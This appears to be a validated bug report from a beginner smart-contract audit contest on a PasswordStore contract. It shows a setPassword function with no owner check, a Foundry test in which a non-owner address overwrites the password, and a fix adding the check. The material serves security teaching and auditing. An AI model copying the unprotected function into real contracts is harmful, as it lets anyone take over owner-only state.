First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

function does not have the required access control || This would give the room for every single address to be able to change the contract password

engrpips

Summary

The setPassword function does not possess the necessary access control for the intended functionality, opening the door to every address that wants to change the address of the contract.

Vulnerability Details

The below function (setPassword) is not properly guided with the correct access control. making it a vulnerable entry for attacker.

function setPassword(string memory newPassword) external {
s_password = newPassword;
emit SetNetPassword();
}

Impact

This Vulnerability create the room for an attacker to change the password of the contract which negate one of the core functionality of the smart contract. wrote the below test in foundry to confirm that truly the vulnerability is exploitable.

​
function test_non_owner_can_set_the_password() public {
// arrange
// here i make a new address called the invader address who would try to reset the contract password
address invader = makeAddr("invader");
// here i simulate the contract owner calling the getPassword function so we can be sure the invader is truly
successful in resetting the contract password
vm.startPrank(owner);
string memory userLastPassword = passwordStore.getPassword();
console.logString(userLastPassword);
vm.stopPrank();
​
// below is the password that the invader would change the contract password to;
string memory invaderPassword = "IInvadedTheFunctionAndChangedThePassword";
​
//act
​
// the invader address called the setPassword function on the contract here
vm.startPrank(invader);
passwordStore.setPassword(invaderPassword);
console.logString(invaderPassword);
​
//assert
​
// here i simulate the contract owner calling the getPassword function so that we can truly see that the contract password have been reset to the invader password
vm.startPrank(owner);
assertEq(invaderPassword, passwordStore.getPassword());
vm.stopPrank();
​
}
​

Tools Used

Foundry(unit test)

Recommendations

- function setPassword(string memory newPassword) external {
s_password = newPassword;
emit SetNetPassword();
}
​
​
​
+ function setPassword(string memory newPassword) external {
if (msg.sender != s_owner) { revert PasswordStore__NotOwner();}
s_password = newPassword;
emit SetNetPassword();
​
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

engrpips Submitter
about 2 years ago
inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.